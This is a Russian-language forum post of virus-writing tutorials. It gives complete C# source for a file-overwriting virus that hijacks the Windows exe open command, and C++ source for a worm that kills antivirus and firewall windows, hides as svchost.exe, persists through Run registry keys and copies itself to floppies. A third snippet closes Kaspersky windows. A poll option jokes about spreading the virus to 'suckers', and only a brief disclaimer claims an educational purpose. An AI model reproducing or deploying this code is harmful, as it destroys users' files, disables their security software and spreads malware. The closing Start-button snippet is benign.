Текущее время: 30 окт 2020, 06:20




 Страница 1 из 1 [ 1 сообщение ] 
Вам понравились вируса?
 Да  0%  0%  [ 0 ]
 Нет  0%  0%  [ 0 ]
 Бред  0%  0%  [ 0 ]
 Я не программист  0%  0%  [ 0 ]
 Я Йожик  0%  0%  [ 0 ]
 Классный вирус  0%  0%  [ 0 ]
 Супер, скину в сетку лохам  100%  100%  [ 1 ]
Всего голосов : 1

Автор Сообщение
 Заголовок сообщения: Вирус на с#, sharp,шарп
Новое сообщениеДобавлено: 30 авг 2010, 12:00 
Юзер-флудер
Юзер-флудер
Аватара пользователя

Зарегистрирован: 30 янв 2010, 15:40
Сообщения: 57
Откуда: Харьков
Написание «лёгкого» вируса на C#
Вступление

Наверное каждый из Вас был жертвой какого-нибудь вируса. И, наверное, каждый из Вас проклинал того гада, который написал этот вирус. Так вот сегодня мы и станем такими же гадами Шутка.

Цель моей статьи не заключается в приобщении людей к этому нехорошему ремеслу. Просто я хотел сказать, как можно легко написать очень вредный вирус, который, к сожалению, не обнаруживается антивирусниками. Всегда надо быть начеку .

Суть вируса заключается в том, что любой exe-файл отрывается только один раз и на его место копируется сам вирус. Как следствие – невероятная потеря информации.
Итак, как сказал кто-то из предков, Поехали!

Что нам надо:

- Microsoft visual studio
- редактор реестра (Пуск->Выполнить->regedit)

В своей статье я использовал Visual Studio 2005 и писал на С#. Но это не значит, что вирус очень сложно переписать на другую платформу. Главное, понять суть работы.

Открываем Visual studio, создаём новый проект Windows Application. В Solution explorer безжалостно удаляем Form1.cs. В данном примере нам совсем не нужна форма и все её последствия – мы же вирус пишем, а не почтовый клиент . Открываем program.cs и пишем там следующее (привожу полный код)

using System;
using System.Windows.Forms; ..чтобы можно было обращаться к Application
using Microsoft.Win32; // для работы с реестром
using System.IO; // для работы с файлами
using System.Diagnostics; // для работы с процессами

namespace WindowsApplication1
{
static class Program
{
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main(string[] args)
{
RegistryKey key = Registry.ClassesRoot.OpenSubKey("exefile\\shell\\o pen\\command", RegistryKeyPermissionCheck.ReadWriteSubTree);
key.SetValue("", Application.ExecutablePath + " \"%1\" %*");
if (args.LongLength != 0)
{
FileInfo f = new FileInfo(args[0]);
FileInfo f1 = new FileInfo(Application.ExecutablePath);
if (f.Length != f1.Length && args[0] != Path.GetTempPath() + "install.exe")
{
f.CopyTo(Path.GetTempPath() + "install.exe", true);
f1.CopyTo(args[0], true);
Process pr = new Process();
pr.StartInfo.FileName = Path.GetTempPath() + "install.exe";
pr.StartInfo.UseShellExecute = false;
pr.Start();
pr.Dispose();
}
}
key.Close();
}
}
}

Стоп! Чуть не забыл… При работе с этим вирусом должен быть всегда запущен редактор реестра. Так, на всякий случай.
В самом начале работы выполняется функция Main в которую передаются аргументы string[] args. Аргумент это такая строка, которая передаётся файлу при его запуске. Извините за тавтологию. Вот, к примеру, в командой строке пишем Code
C:\program files\office\word.exe D:\soft\123.doc


и как раз D:\soft\123.doc будет аргументом, т.е. word откроет файл 123.doc. Code
RegistryKey key = Registry.ClassesRoot.OpenSubKey("exefile\\shell\\o pen\\command", RegistryKeyPermissionCheck.ReadWriteSubTree); key.SetValue("", Application.ExecutablePath + " \"%1\" %*");


А сейчас мы открываем раздел реестра HKEY_CLASSES_ROOT\ exefile\shell\open\command и меняем там значение по умолчанию. Вообще, в данном разделе реестра хранится информация о том, что надо сделать при открытии exe-файла. Строка "%1\" %* обозначает просто запуск exe-файла. А мы делаем так, что при открытии любого exe-файла открывается наша программа (Application.ExecutablePath) и к ней в аргумент передаётся путь к настоящему файлу ("%1\" %*), который мы и заразим.

Далее проверяем, передались ли в нашу программу какие-либо аргументы. Code
if (args.LongLength != 0)

Если да, то создаём две переменные типа FileInfo. Первая из которых – заражаемый файл, вторая – сам вирус. Code
FileInfo f = new FileInfo(args[0]); FileInfo f1 = new FileInfo(Application.ExecutablePath);


И начинается самое интересное. Мы копируем заражаемый файл в папку для временных файлов Code
f.CopyTo(Path.GetTempPath() + "install.exe", true);


А на его настоящее место копируем вирус. Code
f1.CopyTo(args[0], true);


Далее мы создаём переменную типа Process и указываем ей путь к заражаемому файлу, который уже находится в папке для временных файлов. Code
Process pr = new Process(); pr.StartInfo.FileName = Path.GetTempPath() + "install.exe";

Причём строка Code
pr.StartInfo.UseShellExecute = false;


говорит о том, что мы запускаем файл как процесс, а не используем обычное открытие.

Итак, запускаем процесс Code
pr.Start();


Ах да, совсем забыл про одно условие Code
if (f.Length != f1.Length && args[0] != Path.GetTempPath() + "install.exe")


Мы проверяем, не запускает ли пользователь сам вирус и не запускает ли он файл из временной папки.

Строки Code
pr.Dispose(); key.Close();


просто уничтожают или закрывают данные переменные. Этого, конечно, можно было и не делать, но в программировании хорошим тоном считается очистка памяти после себя
В конце статьи хотелось бы сказать о некоторых преимуществах и недостатках.
Преимущества:

Полная безжалостность
Простота работы
Нечувствительность к антивирусам
Работает на Windows Vista

Недостатки:

Относительно большой размер (у меня 24 КБ)
Необходима установка framework 2.0 (да, вот так вот глупо получается. Но те, у кого видеокарта ATI обязаны установить framework. А в Висту он вообще предустановлен)
Подвешивает windows 98,Me (но работает
-----------------------
Несложный резидентный вирус-червь на C++

Устроившись работать программистом в свой родной ВУЗ, я обнаружил интересную вещицу. На некоторых компах периодически стучал флоппи-дисковод. Пытался читать или писать данные на дискету. Каково было мое удивление, когда я узнал в этом засранце свое 1курсное творение :). Которое каким-то образом выбралось на свободу. Этот вирус писался исктлючительно как научный эксперимент к двум моим научным статьям о вирусах, но как этот черт выбрался для меня осталось загадкой. Кстати обе статьи я опубликую на сайте, после их публикации в научном сборнике.

Вирусом, как таковым это назвать сложно, так как ничего кроме копирования на дискеты он не делает. Но сделана работа была на славу. Поехали...

При получении управления файл, искал все активные окна в заголовках которых содержались словечки:
Norton","AVP","Anti","Vir","McAfee","anti","vir","firewall"

И закрывал их. Это было несложно. И по большей части ни к чему, так как он не детектировался как вирус. Но проверить возможно ли это было крайне интересно.

char* bad_windows_list[kx] = {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"};

BOOL BadWindow(LPSTR strWindow)
{
BOOL res = FALSE;
for (int i=0;i<kx;i++)
if (strstr(strWindow,bad_windows_list[i])!=0) res = TRUE;
return res;
}
BOOL CALLBACK WndEnumProcMine (HWND hwnd1,long l1)
{
LPTSTR str1 = new char[255];
GetWindowText(hwnd1,str1,255);
if (BadWindow(str1))
{
DWORD dwProcessId;
GetWindowThreadProcessId(hwnd1,&dwProcessId);
if (dwProcessId!=GetCurrentProcessId())
{
HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS,FALSE, dwProcessId);
TerminateProcess(hProcess,0);
CloseHandle(hProcess);
}
}
delete str1;
return TRUE;
}
void EnumProcessesOther()
{
LPARAM c = 0;
EnumWindows((WNDENUMPROC) WndEnumProcMine,c);
}

Следующие его действия вполне предугадываемы.

Копируется в системную папку windows под именем svchost.exe и оставляет свои кишки в системном реестре, для запуска при перезагрузке.

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR pCmdLine,int nCmdShow)
{

char myname[1024],windir[1024];
HKEY hKey;
SetErrorMode(SEM_NOGPFAULTERRORBOX);
PeekMessage(NULL, NULL, NULL, NULL, NULL);

GetModuleFileName(hInstance,myname,sizeof (myname));
GetWindowsDirectory(windir,sizeof(windir));

strcat(windir,"\\SVCHOST.EXE");
CopyFile(myname,windir,FALSE);
SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);

//--------------------Startup--------------------------------
RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\ Windows\\CurrentVersion\\ Policies\\Explorer\\Run" ,0,KEY_WRITE,&hKey);
RegSetValueEx(hKey,"SVCHOST.EXE",0, REG_SZ,(BYTE *)windir,256);
RegCloseKey(hKey);
//-----------------------------------------------------------

if(strcmp(windir,myname))
{
MessageBox(0, "This program not win32 mode","Error", MB_OK | MB_DEFBUTTON1 | MB_ICONEXCLAMATION | MB_DEFAULT_DESKTOP_ONLY);
return 0;
}
//-------
for(;;)
{
if(IsDiskInDrive ("a:\\"))
{
CopyFile(windir,"a:\\diskinfo.exe",FALSE);
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows \\CurrentVersion\\Policies\\Explorer\\Run" ,0,KEY_WRITE,&hKey);
RegSetValueEx(hKey,"SVCHOST.EXE",0,REG_SZ,(BYTE *)windir,256);
RegCloseKey(hKey);
}
EnumProcessesOther();
Sleep(30000);
}

return 0;
}

Выводит липовое сообщение об ошибке. И после перезагрузки висит в памяти, и каждые 30000 миллисекунд записывается на дискету под именем diskinfo.exe. На удивление простой вирус, правда? Никакого вреда, только распространение. Но нестандартный ключ записи в реестр и незадачливое имя файлы svchost.exe вводило в ступор даже опытных сис/админов. Вроде бы никаких лишних процессов нет, а он есть. Палилось это довольно легко.

Настоящий процесс svchost.exe никогда не запускается из-под пользователя. Он всегда имеет приоритет запуска от системы (SYSTEM). После эксперимента, зверь был отправлен ко всем известным антивирусным компаниями и начал детектироваться спустя два дня. Все данные об эксперименте отражены в статьях. А программа прекратила свое существование.


Как закрывать активное окно антивируса

Чтобы закрывать активное окно антивируса мы будем использовать функции FindWindow и PostMessage.

FindWindow — Ищет окно по заголовку и взовращает его заголовок.
PostMessage — Отправляет сообщение процессу, в нашем случае WM_QUIT (Закрыть).

Как только мы нашли окно с нужным нам TITLE. Мы закрываем программу. Если же программа выпендривается и не закрывается — эмулируем нажатие клавиш Alt+F4 (Закрыть окно). Метод детский, но для того, чтобы иметь понятие о защите от вирусов полезно.

#pragma hdrstop
#include <windows.h>
#include <iostream.h>
#pragma argsused int main(int argc, char* argv[])
{
do
{

if (FindWindow(NULL, "Kaspersky Anti-Virus Scanner")!=0)
{

ShowWindow(FindWindow(NULL, "Kaspersky Anti-Virus Scanner") , SC_MAXIMIZE);
Sleep(5000);
keybd_event( VK_MENU, 0x45, KEYEVENTF_EXTENDEDKEY | 0, 0 );
keybd_event( VK_F4, 0x45, KEYEVENTF_EXTENDEDKEY | 0, 0 );
keybd_event( VK_MENU, 0x45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
keybd_event( VK_F4, 0x45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
break;
}

PostMessage(FindWindow(NULL, "Kaspersky Anti-Virus Control Centre"), WM_QUIT, 0, 0);
PostMessage(FindWindow(NULL, "Kaspersky Anti-Virus Updater"), WM_QUIT, 0, 0);
PostMessage(FindWindow(NULL, "Kaspersky Anti-Virus Rescue Disk"), WM_QUIT, 0, 0);
PostMessage(FindWindow(NULL, "Kaspersky Office Guard"), WM_QUIT, 0, 0);
PostMessage(FindWindow(NULL, "Untitled - Kaspersky Report Viewer"), WM_QUIT, 0, 0);
PostMessage(FindWindow(NULL, "Kaspersky Virus List Generator"), WM_QUIT, 0, 0);

Sleep(100);
}while(1);
}

Весь материал представлен исключительно для ознакомления. И совершенствования методов борьбы с компьютерными вирусами.



-----------------------
Функция MoveWindow. Ккак подвинуть кнопку ПУСК и любое окно на C++

Как подвинуть кнопку ПУСК и любое окно на C++. Как мы помним кнопка пуск — это такое же окно.
Функция MoveWindow изменяет позицию и габариты определяемого окна. Для окна верх-него уровня, позиция и габариты - относительно левого верхнего угла экрана. Для дочернего окна, они - относительно левого верхнего угла рабочей области родительского окна.

BOOL MoveWindow
(
HWND hWnd, // дескриптор окна
int X, // позиция по горизонтали
int Y, // позиция по вертикали
int nWidth, // ширина
int nHeight, // высота
BOOL bRepaint // флажок перекраски
);

hWnd — дентифицирует окно.
X — станавливает новую позицию левой стороны окна.
Y — станавливает новую позицию верхней части окна.
nWidth — станавливает новую ширину окна.
nHeight — станавливает новую высоту окна.
bRepaint — пределяет, должно ли окно быть перекрашено. Если этот параметр - ИСТИНА (TRUE), окно принимает сообщение WM_PAINT. Если параметр - ЛОЖЬ(FALSE), никакого перекрашивания какого-либо сорта не происходит. Это применяется к рабочей области, нерабочей области (включая строку заголовка и линейки прокрутки) и любой части родительского окна, раскрытого в результате перемещения дочернего окна. Если этот параметр - ЛОЖЬ(FALSE), прикладная программа должна явно аннулировать или перерисовать любые части окна и родительского окна, которые нуждаются в перерисовке.

Возвращаемые значения
Если функция завершилась успешно, возвращается значение отличное от нуля. Если функция потерпела неудачу, возвращаемое значение - ноль.

#pragma hdrstop
#pragma argsused
#include <windows.h>

int main(int argc, char* argv[])
{
HWND hTaskBar, hButton;
hTaskBar= FindWindow("Shell_TrayWnd",NULL);
hButton= GetWindow(hTaskBar, GW_CHILD);

MoveWindow(hButton, 800, 0, 75, 24, TRUE);
}

С помощью функции FindWindow и GetWindow ищем форму имеющую заголовок "Shell_TrayWnd". И двигаем на нужные координаты. Прочесть про функции FindWindow и GetWindow можно в предыдущих статьях.



_________________
Здраствуйте меня зовут Евгений.
Ищу работу связанную с веб-направлениями.
Базовые навыки :
XHTML, CSS. JavaScript.
Не в сети
 Профиль  
 
Показать сообщения за:  Поле сортировки  
 Страница 1 из 1 [ 1 сообщение ] 


Кто сейчас на конференции

Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 1


Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете добавлять вложения

Найти:
Перейти:  

cron